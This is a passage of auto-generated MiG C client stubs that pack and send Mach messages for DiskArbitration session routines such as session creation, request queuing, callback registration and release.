1559 | #endif /* ( __MigTypeCheck ) */
1560 |
1561 |
1562 | /* Routine _DAServerSessionCreate */
1563 | mig_external kern_return_t _DAServerSessionCreate
1564 | (
1565 | mach_port_t _session,
1566 | caddr_t _name,
1567 | pid_t _pid,
1568 | mach_port_t *_server
1569 | )
1570 | {
1571 |
1572 | #ifdef __MigPackStructs
1573 | #pragma pack(4)
1574 | #endif
1575 | typedef struct {
1576 | mach_msg_header_t Head;
1577 | NDR_record_t NDR;
1578 | mach_msg_type_number_t _nameOffset; /* MiG doesn't use it */
1579 | mach_msg_type_number_t _nameCnt;
1580 | char _name[1024];
1581 | pid_t _pid;
1582 | } Request __attribute__((unused));
1583 | #ifdef __MigPackStructs
1584 | #pragma pack()
1585 | #endif
1586 |
1587 | #ifdef __MigPackStructs
1588 | #pragma pack(4)
1589 | #endif
1590 | typedef struct {
1591 | mach_msg_header_t Head;
1592 | /* start of the kernel processed data */
1593 | mach_msg_body_t msgh_body;
1594 | mach_msg_port_descriptor_t _server;
1595 | /* end of the kernel processed data */
1596 | mach_msg_trailer_t trailer;
1597 | } Reply __attribute__((unused));
1598 | #ifdef __MigPackStructs
1599 | #pragma pack()
1600 | #endif
1601 |
1602 | #ifdef __MigPackStructs
1603 | #pragma pack(4)
1604 | #endif
1605 | typedef struct {
1606 | mach_msg_header_t Head;
1607 | /* start of the kernel processed data */
1608 | mach_msg_body_t msgh_body;
1609 | mach_msg_port_descriptor_t _server;
1610 | /* end of the kernel processed data */
1611 | } __Reply __attribute__((unused));
1612 | #ifdef __MigPackStructs
1613 | #pragma pack()
1614 | #endif
1615 | /*
1616 | * typedef struct {
1617 | * mach_msg_header_t Head;
1618 | * NDR_record_t NDR;
1619 | * kern_return_t RetCode;
1620 | * } mig_reply_error_t;
1621 | */
1622 |
1623 | union {
1624 | Request In;
1625 | Reply Out;
1626 | } Mess;
1627 |
1628 | Request *InP = &Mess.In;
1629 | Reply *Out0P = &Mess.Out;
1630 |
1631 | mach_msg_return_t msg_result;
1632 | unsigned int msgh_size;
1633 | unsigned int msgh_size_delta;
1634 |
1635 |
1636 | #ifdef __MIG_check__Reply___DAServerSessionCreate_t__defined
1637 | kern_return_t check_result;
1638 | #endif /* __MIG_check__Reply___DAServerSessionCreate_t__defined */
1639 |
1640 | __DeclareSendRpc(9, "_DAServerSessionCreate")
1641 |
1642 | InP->NDR = NDR_record;
1643 |
1644 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1645 | if (mig_strncpy_zerofill != NULL) {
1646 | InP->_nameCnt = mig_strncpy_zerofill(InP->_name, _name, 1024);
1647 | } else {
1648 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1649 | InP->_nameCnt = mig_strncpy(InP->_name, _name, 1024);
1650 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1651 | }
1652 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1653 |
1654 | msgh_size_delta = _WALIGN_(InP->_nameCnt);
1655 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + msgh_size_delta;
1656 | InP = (Request *) ((pointer_t) InP + msgh_size_delta - 1024);
1657 |
1658 | InP->_pid = _pid;
1659 |
1660 | InP = &Mess.In;
1661 | InP->Head.msgh_bits =
1662 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
1663 | /* msgh_size passed as argument */
1664 | InP->Head.msgh_request_port = _session;
1665 | InP->Head.msgh_reply_port = mig_get_reply_port();
1666 | InP->Head.msgh_id = 9;
1667 | InP->Head.msgh_reserved = 0;
1668 |
1669 | /* BEGIN VOUCHER CODE */
1670 |
1671 | #ifdef USING_VOUCHERS
1672 | if (voucher_mach_msg_set != NULL) {
1673 | voucher_mach_msg_set(&InP->Head);
1674 | }
1675 | #endif // USING_VOUCHERS
1676 |
1677 | /* END VOUCHER CODE */
1678 |
1679 | __BeforeSendRpc(9, "_DAServerSessionCreate")
1680 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
1681 | __AfterSendRpc(9, "_DAServerSessionCreate")
1682 | if (msg_result != MACH_MSG_SUCCESS) {
1683 | __MachMsgErrorWithoutTimeout(msg_result);
1684 | { return msg_result; }
1685 | }
1686 |
1687 |
1688 | #if defined(__MIG_check__Reply___DAServerSessionCreate_t__defined)
1689 | check_result = __MIG_check__Reply___DAServerSessionCreate_t((__Reply___DAServerSessionCreate_t *)Out0P);
1690 | if (check_result != MACH_MSG_SUCCESS)
1691 | { return check_result; }
1692 | #endif /* defined(__MIG_check__Reply___DAServerSessionCreate_t__defined) */
1693 |
1694 | *_server = Out0P->_server.name;
1695 | return KERN_SUCCESS;
1696 | }
1697 |
1698 | #if ( __MigTypeCheck )
1699 | #if __MIG_check__Reply__DAServer_subsystem__
1700 | #if !defined(__MIG_check__Reply___DAServerSessionQueueRequest_t__defined)
1701 | #define __MIG_check__Reply___DAServerSessionQueueRequest_t__defined
1702 |
1703 | mig_internal kern_return_t __MIG_check__Reply___DAServerSessionQueueRequest_t(__Reply___DAServerSessionQueueRequest_t *Out0P)
1704 | {
1705 |
1706 | typedef __Reply___DAServerSessionQueueRequest_t __Reply __attribute__((unused));
1707 | if (Out0P->Head.msgh_id != 110) {
1708 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
1709 | { return MIG_SERVER_DIED; }
1710 | else
1711 | { return MIG_REPLY_MISMATCH; }
1712 | }
1713 |
1714 | #if __MigTypeCheck
1715 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
1716 | (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
1717 | { return MIG_TYPE_ERROR ; }
1718 | #endif /* __MigTypeCheck */
1719 |
1720 | {
1721 | return Out0P->RetCode;
1722 | }
1723 | }
1724 | #endif /* !defined(__MIG_check__Reply___DAServerSessionQueueRequest_t__defined) */
1725 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
1726 | #endif /* ( __MigTypeCheck ) */
1727 |
1728 |
1729 | /* Routine _DAServerSessionQueueRequest */
1730 | mig_external kern_return_t _DAServerSessionQueueRequest
1731 | (
1732 | mach_port_t _session,
1733 | int32_t _kind,
1734 | caddr_t _argument0,
1735 | int32_t _argument1,
1736 | vm_address_t _argument2,
1737 | mach_msg_type_number_t _argument2Cnt,
1738 | vm_address_t _argument3,
1739 | mach_msg_type_number_t _argument3Cnt,
1740 | mach_vm_offset_t _address,
1741 | mach_vm_offset_t _context
1742 | )
1743 | {
1744 |
1745 | #ifdef __MigPackStructs
1746 | #pragma pack(4)
1747 | #endif
1748 | typedef struct {
1749 | mach_msg_header_t Head;
1750 | /* start of the kernel processed data */
1751 | mach_msg_body_t msgh_body;
1752 | mach_msg_ool_descriptor_t _argument2;
1753 | mach_msg_ool_descriptor_t _argument3;
1754 | /* end of the kernel processed data */
1755 | NDR_record_t NDR;
1756 | int32_t _kind;
1757 | mach_msg_type_number_t _argument0Offset; /* MiG doesn't use it */
1758 | mach_msg_type_number_t _argument0Cnt;
1759 | char _argument0[1024];
1760 | int32_t _argument1;
1761 | mach_msg_type_number_t _argument2Cnt;
1762 | mach_msg_type_number_t _argument3Cnt;
1763 | mach_vm_offset_t _address;
1764 | mach_vm_offset_t _context;
1765 | } Request __attribute__((unused));
1766 | #ifdef __MigPackStructs
1767 | #pragma pack()
1768 | #endif
1769 |
1770 | #ifdef __MigPackStructs
1771 | #pragma pack(4)
1772 | #endif
1773 | typedef struct {
1774 | mach_msg_header_t Head;
1775 | NDR_record_t NDR;
1776 | kern_return_t RetCode;
1777 | mach_msg_trailer_t trailer;
1778 | } Reply __attribute__((unused));
1779 | #ifdef __MigPackStructs
1780 | #pragma pack()
1781 | #endif
1782 |
1783 | #ifdef __MigPackStructs
1784 | #pragma pack(4)
1785 | #endif
1786 | typedef struct {
1787 | mach_msg_header_t Head;
1788 | NDR_record_t NDR;
1789 | kern_return_t RetCode;
1790 | } __Reply __attribute__((unused));
1791 | #ifdef __MigPackStructs
1792 | #pragma pack()
1793 | #endif
1794 | /*
1795 | * typedef struct {
1796 | * mach_msg_header_t Head;
1797 | * NDR_record_t NDR;
1798 | * kern_return_t RetCode;
1799 | * } mig_reply_error_t;
1800 | */
1801 |
1802 | union {
1803 | Request In;
1804 | Reply Out;
1805 | } Mess;
1806 |
1807 | Request *InP = &Mess.In;
1808 | Reply *Out0P = &Mess.Out;
1809 |
1810 | mach_msg_return_t msg_result;
1811 | unsigned int msgh_size;
1812 | unsigned int msgh_size_delta;
1813 |
1814 |
1815 | #ifdef __MIG_check__Reply___DAServerSessionQueueRequest_t__defined
1816 | kern_return_t check_result;
1817 | #endif /* __MIG_check__Reply___DAServerSessionQueueRequest_t__defined */
1818 |
1819 | __DeclareSendRpc(10, "_DAServerSessionQueueRequest")
1820 |
1821 | #if UseStaticTemplates
1822 | const static mach_msg_ool_descriptor_t _argument2Template = {
1823 | /* addr = */ (void *)0,
1824 | /* size = */ 0,
1825 | /* deal = */ FALSE,
1826 | /* copy = */ MACH_MSG_VIRTUAL_COPY,
1827 | /* pad2 = */ 0,
1828 | /* type = */ MACH_MSG_OOL_DESCRIPTOR,
1829 | };
1830 | #endif /* UseStaticTemplates */
1831 |
1832 | #if UseStaticTemplates
1833 | const static mach_msg_ool_descriptor_t _argument3Template = {
1834 | /* addr = */ (void *)0,
1835 | /* size = */ 0,
1836 | /* deal = */ FALSE,
1837 | /* copy = */ MACH_MSG_VIRTUAL_COPY,
1838 | /* pad2 = */ 0,
1839 | /* type = */ MACH_MSG_OOL_DESCRIPTOR,
1840 | };
1841 | #endif /* UseStaticTemplates */
1842 |
1843 | InP->msgh_body.msgh_descriptor_count = 2;
1844 | #if UseStaticTemplates
1845 | InP->_argument2 = _argument2Template;
1846 | InP->_argument2.address = (void *)(_argument2);
1847 | InP->_argument2.size = _argument2Cnt;
1848 | #else /* UseStaticTemplates */
1849 | InP->_argument2.address = (void *)(_argument2);
1850 | InP->_argument2.size = _argument2Cnt;
1851 | InP->_argument2.deallocate = FALSE;
1852 | InP->_argument2.copy = MACH_MSG_VIRTUAL_COPY;
1853 | InP->_argument2.type = MACH_MSG_OOL_DESCRIPTOR;
1854 | #endif /* UseStaticTemplates */
1855 |
1856 | #if UseStaticTemplates
1857 | InP->_argument3 = _argument3Template;
1858 | InP->_argument3.address = (void *)(_argument3);
1859 | InP->_argument3.size = _argument3Cnt;
1860 | #else /* UseStaticTemplates */
1861 | InP->_argument3.address = (void *)(_argument3);
1862 | InP->_argument3.size = _argument3Cnt;
1863 | InP->_argument3.deallocate = FALSE;
1864 | InP->_argument3.copy = MACH_MSG_VIRTUAL_COPY;
1865 | InP->_argument3.type = MACH_MSG_OOL_DESCRIPTOR;
1866 | #endif /* UseStaticTemplates */
1867 |
1868 | InP->NDR = NDR_record;
1869 |
1870 | InP->_kind = _kind;
1871 |
1872 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1873 | if (mig_strncpy_zerofill != NULL) {
1874 | InP->_argument0Cnt = mig_strncpy_zerofill(InP->_argument0, _argument0, 1024);
1875 | } else {
1876 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1877 | InP->_argument0Cnt = mig_strncpy(InP->_argument0, _argument0, 1024);
1878 | #ifdef USING_MIG_STRNCPY_ZEROFILL
1879 | }
1880 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
1881 |
1882 | msgh_size_delta = _WALIGN_(InP->_argument0Cnt);
1883 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + msgh_size_delta;
1884 | InP = (Request *) ((pointer_t) InP + msgh_size_delta - 1024);
1885 |
1886 | InP->_argument1 = _argument1;
1887 |
1888 | InP->_argument2Cnt = _argument2Cnt;
1889 |
1890 | InP->_argument3Cnt = _argument3Cnt;
1891 |
1892 | InP->_address = _address;
1893 |
1894 | InP->_context = _context;
1895 |
1896 | InP = &Mess.In;
1897 | InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|
1898 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
1899 | /* msgh_size passed as argument */
1900 | InP->Head.msgh_request_port = _session;
1901 | InP->Head.msgh_reply_port = mig_get_reply_port();
1902 | InP->Head.msgh_id = 10;
1903 | InP->Head.msgh_reserved = 0;
1904 |
1905 | /* BEGIN VOUCHER CODE */
1906 |
1907 | #ifdef USING_VOUCHERS
1908 | if (voucher_mach_msg_set != NULL) {
1909 | voucher_mach_msg_set(&InP->Head);
1910 | }
1911 | #endif // USING_VOUCHERS
1912 |
1913 | /* END VOUCHER CODE */
1914 |
1915 | __BeforeSendRpc(10, "_DAServerSessionQueueRequest")
1916 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
1917 | __AfterSendRpc(10, "_DAServerSessionQueueRequest")
1918 | if (msg_result != MACH_MSG_SUCCESS) {
1919 | __MachMsgErrorWithoutTimeout(msg_result);
1920 | { return msg_result; }
1921 | }
1922 |
1923 |
1924 | #if defined(__MIG_check__Reply___DAServerSessionQueueRequest_t__defined)
1925 | check_result = __MIG_check__Reply___DAServerSessionQueueRequest_t((__Reply___DAServerSessionQueueRequest_t *)Out0P);
1926 | if (check_result != MACH_MSG_SUCCESS)
1927 | { return check_result; }
1928 | #endif /* defined(__MIG_check__Reply___DAServerSessionQueueRequest_t__defined) */
1929 |
1930 | return KERN_SUCCESS;
1931 | }
1932 |
1933 | /* SimpleRoutine _DAServerSessionQueueResponse */
1934 | mig_external kern_return_t _DAServerSessionQueueResponse
1935 | (
1936 | mach_port_t _session,
1937 | mach_vm_offset_t _address,
1938 | mach_vm_offset_t _context,
1939 | int32_t _kind,
1940 | caddr_t _disk,
1941 | vm_address_t _response,
1942 | mach_msg_type_number_t _responseCnt,
1943 | int32_t _responseID
1944 | )
1945 | {
1946 |
1947 | #ifdef __MigPackStructs
1948 | #pragma pack(4)
1949 | #endif
1950 | typedef struct {
1951 | mach_msg_header_t Head;
1952 | /* start of the kernel processed data */
1953 | mach_msg_body_t msgh_body;
1954 | mach_msg_ool_descriptor_t _response;
1955 | /* end of the kernel processed data */
1956 | NDR_record_t NDR;
1957 | mach_vm_offset_t _address;
1958 | mach_vm_offset_t _context;
1959 | int32_t _kind;
1960 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
1961 | mach_msg_type_number_t _diskCnt;
1962 | char _disk[1024];
1963 | mach_msg_type_number_t _responseCnt;
1964 | int32_t _responseID;
1965 | } Request __attribute__((unused));
1966 | #ifdef __MigPackStructs
1967 | #pragma pack()
1968 | #endif
1969 | /*
1970 | * typedef struct {
1971 | * mach_msg_header_t Head;
1972 | * NDR_record_t NDR;
1973 | * kern_return_t RetCode;
1974 | * } mig_reply_error_t;
1975 | */
1976 |
1977 | union {
1978 | Request In;
1979 | } Mess;
1980 |
1981 | Request *InP = &Mess.In;
1982 |
1983 | mach_msg_return_t msg_result;
1984 | unsigned int msgh_size;
1985 | unsigned int msgh_size_delta;
1986 |
1987 |
1988 | #ifdef __MIG_check__Reply___DAServerSessionQueueResponse_t__defined
1989 | kern_return_t check_result;
1990 | #endif /* __MIG_check__Reply___DAServerSessionQueueResponse_t__defined */
1991 |
1992 | __DeclareSendSimple(11, "_DAServerSessionQueueResponse")
1993 |
1994 | #if UseStaticTemplates
1995 | const static mach_msg_ool_descriptor_t _responseTemplate = {
1996 | /* addr = */ (void *)0,
1997 | /* size = */ 0,
1998 | /* deal = */ FALSE,
1999 | /* copy = */ MACH_MSG_VIRTUAL_COPY,
2000 | /* pad2 = */ 0,
2001 | /* type = */ MACH_MSG_OOL_DESCRIPTOR,
2002 | };
2003 | #endif /* UseStaticTemplates */
2004 |
2005 | InP->msgh_body.msgh_descriptor_count = 1;
2006 | #if UseStaticTemplates
2007 | InP->_response = _responseTemplate;
2008 | InP->_response.address = (void *)(_response);
2009 | InP->_response.size = _responseCnt;
2010 | #else /* UseStaticTemplates */
2011 | InP->_response.address = (void *)(_response);
2012 | InP->_response.size = _responseCnt;
2013 | InP->_response.deallocate = FALSE;
2014 | InP->_response.copy = MACH_MSG_VIRTUAL_COPY;
2015 | InP->_response.type = MACH_MSG_OOL_DESCRIPTOR;
2016 | #endif /* UseStaticTemplates */
2017 |
2018 | InP->NDR = NDR_record;
2019 |
2020 | InP->_address = _address;
2021 |
2022 | InP->_context = _context;
2023 |
2024 | InP->_kind = _kind;
2025 |
2026 | #ifdef USING_MIG_STRNCPY_ZEROFILL
2027 | if (mig_strncpy_zerofill != NULL) {
2028 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
2029 | } else {
2030 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
2031 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
2032 | #ifdef USING_MIG_STRNCPY_ZEROFILL
2033 | }
2034 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
2035 |
2036 | msgh_size_delta = _WALIGN_(InP->_diskCnt);
2037 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + msgh_size_delta;
2038 | InP = (Request *) ((pointer_t) InP + msgh_size_delta - 1024);
2039 |
2040 | InP->_responseCnt = _responseCnt;
2041 |
2042 | InP->_responseID = _responseID;
2043 |
2044 | InP = &Mess.In;
2045 | InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|
2046 | MACH_MSGH_BITS(19, 0);
2047 | /* msgh_size passed as argument */
2048 | InP->Head.msgh_request_port = _session;
2049 | InP->Head.msgh_reply_port = MACH_PORT_NULL;
2050 | InP->Head.msgh_id = 11;
2051 | InP->Head.msgh_reserved = 0;
2052 |
2053 | /* BEGIN VOUCHER CODE */
2054 |
2055 | #ifdef USING_VOUCHERS
2056 | if (voucher_mach_msg_set != NULL) {
2057 | voucher_mach_msg_set(&InP->Head);
2058 | }
2059 | #endif // USING_VOUCHERS
2060 |
2061 | /* END VOUCHER CODE */
2062 |
2063 | __BeforeSendSimple(11, "_DAServerSessionQueueResponse")
2064 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
2065 | __AfterSendSimple(11, "_DAServerSessionQueueResponse")
2066 | return msg_result;
2067 | }
2068 |
2069 | #if ( __MigTypeCheck )
2070 | #if __MIG_check__Reply__DAServer_subsystem__
2071 | #if !defined(__MIG_check__Reply___DAServerSessionRegisterCallback_t__defined)
2072 | #define __MIG_check__Reply___DAServerSessionRegisterCallback_t__defined
2073 |
2074 | mig_internal kern_return_t __MIG_check__Reply___DAServerSessionRegisterCallback_t(__Reply___DAServerSessionRegisterCallback_t *Out0P)
2075 | {
2076 |
2077 | typedef __Reply___DAServerSessionRegisterCallback_t __Reply __attribute__((unused));
2078 | if (Out0P->Head.msgh_id != 112) {
2079 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
2080 | { return MIG_SERVER_DIED; }
2081 | else
2082 | { return MIG_REPLY_MISMATCH; }
2083 | }
2084 |
2085 | #if __MigTypeCheck
2086 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
2087 | (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
2088 | { return MIG_TYPE_ERROR ; }
2089 | #endif /* __MigTypeCheck */
2090 |
2091 | {
2092 | return Out0P->RetCode;
2093 | }
2094 | }
2095 | #endif /* !defined(__MIG_check__Reply___DAServerSessionRegisterCallback_t__defined) */
2096 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
2097 | #endif /* ( __MigTypeCheck ) */
2098 |
2099 |
2100 | /* Routine _DAServerSessionRegisterCallback */
2101 | mig_external kern_return_t _DAServerSessionRegisterCallback
2102 | (
2103 | mach_port_t _session,
2104 | mach_vm_offset_t _address,
2105 | mach_vm_offset_t _context,
2106 | int32_t _kind,
2107 | int32_t _order,
2108 | vm_address_t _match,
2109 | mach_msg_type_number_t _matchCnt,
2110 | vm_address_t _watch,
2111 | mach_msg_type_number_t _watchCnt
2112 | )
2113 | {
2114 |
2115 | #ifdef __MigPackStructs
2116 | #pragma pack(4)
2117 | #endif
2118 | typedef struct {
2119 | mach_msg_header_t Head;
2120 | /* start of the kernel processed data */
2121 | mach_msg_body_t msgh_body;
2122 | mach_msg_ool_descriptor_t _match;
2123 | mach_msg_ool_descriptor_t _watch;
2124 | /* end of the kernel processed data */
2125 | NDR_record_t NDR;
2126 | mach_vm_offset_t _address;
2127 | mach_vm_offset_t _context;
2128 | int32_t _kind;
2129 | int32_t _order;
2130 | mach_msg_type_number_t _matchCnt;
2131 | mach_msg_type_number_t _watchCnt;
2132 | } Request __attribute__((unused));
2133 | #ifdef __MigPackStructs
2134 | #pragma pack()
2135 | #endif
2136 |
2137 | #ifdef __MigPackStructs
2138 | #pragma pack(4)
2139 | #endif
2140 | typedef struct {
2141 | mach_msg_header_t Head;
2142 | NDR_record_t NDR;
2143 | kern_return_t RetCode;
2144 | mach_msg_trailer_t trailer;
2145 | } Reply __attribute__((unused));
2146 | #ifdef __MigPackStructs
2147 | #pragma pack()
2148 | #endif
2149 |
2150 | #ifdef __MigPackStructs
2151 | #pragma pack(4)
2152 | #endif
2153 | typedef struct {
2154 | mach_msg_header_t Head;
2155 | NDR_record_t NDR;
2156 | kern_return_t RetCode;
2157 | } __Reply __attribute__((unused));
2158 | #ifdef __MigPackStructs
2159 | #pragma pack()
2160 | #endif
2161 | /*
2162 | * typedef struct {
2163 | * mach_msg_header_t Head;
2164 | * NDR_record_t NDR;
2165 | * kern_return_t RetCode;
2166 | * } mig_reply_error_t;
2167 | */
2168 |
2169 | union {
2170 | Request In;
2171 | Reply Out;
2172 | } Mess;
2173 |
2174 | Request *InP = &Mess.In;
2175 | Reply *Out0P = &Mess.Out;
2176 |
2177 | mach_msg_return_t msg_result;
2178 |
2179 | #ifdef __MIG_check__Reply___DAServerSessionRegisterCallback_t__defined
2180 | kern_return_t check_result;
2181 | #endif /* __MIG_check__Reply___DAServerSessionRegisterCallback_t__defined */
2182 |
2183 | __DeclareSendRpc(12, "_DAServerSessionRegisterCallback")
2184 |
2185 | #if UseStaticTemplates
2186 | const static mach_msg_ool_descriptor_t _matchTemplate = {
2187 | /* addr = */ (void *)0,
2188 | /* size = */ 0,
2189 | /* deal = */ FALSE,
2190 | /* copy = */ MACH_MSG_VIRTUAL_COPY,
2191 | /* pad2 = */ 0,
2192 | /* type = */ MACH_MSG_OOL_DESCRIPTOR,
2193 | };
2194 | #endif /* UseStaticTemplates */
2195 |
2196 | #if UseStaticTemplates
2197 | const static mach_msg_ool_descriptor_t _watchTemplate = {
2198 | /* addr = */ (void *)0,
2199 | /* size = */ 0,
2200 | /* deal = */ FALSE,
2201 | /* copy = */ MACH_MSG_VIRTUAL_COPY,
2202 | /* pad2 = */ 0,
2203 | /* type = */ MACH_MSG_OOL_DESCRIPTOR,
2204 | };
2205 | #endif /* UseStaticTemplates */
2206 |
2207 | InP->msgh_body.msgh_descriptor_count = 2;
2208 | #if UseStaticTemplates
2209 | InP->_match = _matchTemplate;
2210 | InP->_match.address = (void *)(_match);
2211 | InP->_match.size = _matchCnt;
2212 | #else /* UseStaticTemplates */
2213 | InP->_match.address = (void *)(_match);
2214 | InP->_match.size = _matchCnt;
2215 | InP->_match.deallocate = FALSE;
2216 | InP->_match.copy = MACH_MSG_VIRTUAL_COPY;
2217 | InP->_match.type = MACH_MSG_OOL_DESCRIPTOR;
2218 | #endif /* UseStaticTemplates */
2219 |
2220 | #if UseStaticTemplates
2221 | InP->_watch = _watchTemplate;
2222 | InP->_watch.address = (void *)(_watch);
2223 | InP->_watch.size = _watchCnt;
2224 | #else /* UseStaticTemplates */
2225 | InP->_watch.address = (void *)(_watch);
2226 | InP->_watch.size = _watchCnt;
2227 | InP->_watch.deallocate = FALSE;
2228 | InP->_watch.copy = MACH_MSG_VIRTUAL_COPY;
2229 | InP->_watch.type = MACH_MSG_OOL_DESCRIPTOR;
2230 | #endif /* UseStaticTemplates */
2231 |
2232 | InP->NDR = NDR_record;
2233 |
2234 | InP->_address = _address;
2235 |
2236 | InP->_context = _context;
2237 |
2238 | InP->_kind = _kind;
2239 |
2240 | InP->_order = _order;
2241 |
2242 | InP->_matchCnt = _matchCnt;
2243 |
2244 | InP->_watchCnt = _watchCnt;
2245 |
2246 | InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|
2247 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
2248 | /* msgh_size passed as argument */
2249 | InP->Head.msgh_request_port = _session;
2250 | InP->Head.msgh_reply_port = mig_get_reply_port();
2251 | InP->Head.msgh_id = 12;
2252 | InP->Head.msgh_reserved = 0;
2253 |
2254 | /* BEGIN VOUCHER CODE */
2255 |
2256 | #ifdef USING_VOUCHERS
2257 | if (voucher_mach_msg_set != NULL) {
2258 | voucher_mach_msg_set(&InP->Head);
2259 | }
2260 | #endif // USING_VOUCHERS
2261 |
2262 | /* END VOUCHER CODE */
2263 |
2264 | __BeforeSendRpc(12, "_DAServerSessionRegisterCallback")
2265 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
2266 | __AfterSendRpc(12, "_DAServerSessionRegisterCallback")
2267 | if (msg_result != MACH_MSG_SUCCESS) {
2268 | __MachMsgErrorWithoutTimeout(msg_result);
2269 | { return msg_result; }
2270 | }
2271 |
2272 |
2273 | #if defined(__MIG_check__Reply___DAServerSessionRegisterCallback_t__defined)
2274 | check_result = __MIG_check__Reply___DAServerSessionRegisterCallback_t((__Reply___DAServerSessionRegisterCallback_t *)Out0P);
2275 | if (check_result != MACH_MSG_SUCCESS)
2276 | { return check_result; }
2277 | #endif /* defined(__MIG_check__Reply___DAServerSessionRegisterCallback_t__defined) */
2278 |
2279 | return KERN_SUCCESS;
2280 | }
2281 |
2282 | /* SimpleRoutine _DAServerSessionRelease */
2283 | mig_external kern_return_t _DAServerSessionRelease
2284 | (
2285 | mach_port_t _session
2286 | )
2287 | {
2288 |
2289 | #ifdef __MigPackStructs
2290 | #pragma pack(4)
2291 | #endif
2292 | typedef struct {
2293 | mach_msg_header_t Head;
2294 | } Request __attribute__((unused));
2295 | #ifdef __MigPackStructs
2296 | #pragma pack()
2297 | #endif
2298 | /*
2299 | * typedef struct {
2300 | * mach_msg_header_t Head;
2301 | * NDR_record_t NDR;
2302 | * kern_return_t RetCode;
2303 | * } mig_reply_error_t;
2304 | */
2305 |
2306 | union {
2307 | Request In;
2308 | } Mess;
2309 |
2310 | Request *InP = &Mess.In;
2311 |
2312 | mach_msg_return_t msg_result;
2313 |
2314 | #ifdef __MIG_check__Reply___DAServerSessionRelease_t__defined
2315 | kern_return_t check_result;
2316 | #endif /* __MIG_check__Reply___DAServerSessionRelease_t__defined */
2317 |
2318 | __DeclareSendSimple(13, "_DAServerSessionRelease")
2319 |
2320 | InP->Head.msgh_bits =
2321 | MACH_MSGH_BITS(19, 0);
2322 | /* msgh_size passed as argument */
2323 | InP->Head.msgh_request_port = _session;
2324 | InP->Head.msgh_reply_port = MACH_PORT_NULL;
2325 | InP->Head.msgh_id = 13;
2326 | InP->Head.msgh_reserved = 0;
2327 |
2328 | /* BEGIN VOUCHER CODE */
2329 |
2330 | #ifdef USING_VOUCHERS
2331 | if (voucher_mach_msg_set != NULL) {
2332 | voucher_mach_msg_set(&InP->Head);
2333 | }
2334 | #endif // USING_VOUCHERS
2335 |
2336 | /* END VOUCHER CODE */
2337 |
2338 | __BeforeSendSimple(13, "_DAServerSessionRelease")
2339 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
2340 | __AfterSendSimple(13, "_DAServerSessionRelease")
2341 | return msg_result;
2342 | }
2343 |
2344 | /* SimpleRoutine _DAServerSessionSetAuthorization */
2345 | mig_external kern_return_t _DAServerSessionSetAuthorization
2346 | (
2347 | mach_port_t _session,
2348 | AuthorizationExternalForm _authorization
2349 | )
2350 | {
2351 |
2352 | #ifdef __MigPackStructs
2353 | #pragma pack(4)
2354 | #endif
2355 | typedef struct {
2356 | mach_msg_header_t Head;
2357 | NDR_record_t NDR;
2358 | AuthorizationExternalForm _authorization;
2359 | } Request __attribute__((unused));
2360 | #ifdef __MigPackStructs
2361 | #pragma pack()
2362 | #endif
2363 | /*
2364 | * typedef struct {
2365 | * mach_msg_header_t Head;
2366 | * NDR_record_t NDR;
2367 | * kern_return_t RetCode;
2368 | * } mig_reply_error_t;
2369 | */
2370 |
2371 | union {
2372 | Request In;
2373 | } Mess;
2374 |
2375 | Request *InP = &Mess.In;
2376 |
2377 | mach_msg_return_t msg_result;
2378 |
2379 | #ifdef __MIG_check__Reply___DAServerSessionSetAuthorization_t__defined
2380 | kern_return_t check_result;
2381 | #endif /* __MIG_check__Reply___DAServerSessionSetAuthorization_t__defined */
2382 |
2383 | __DeclareSendSimple(14, "_DAServerSessionSetAuthorization")
2384 |
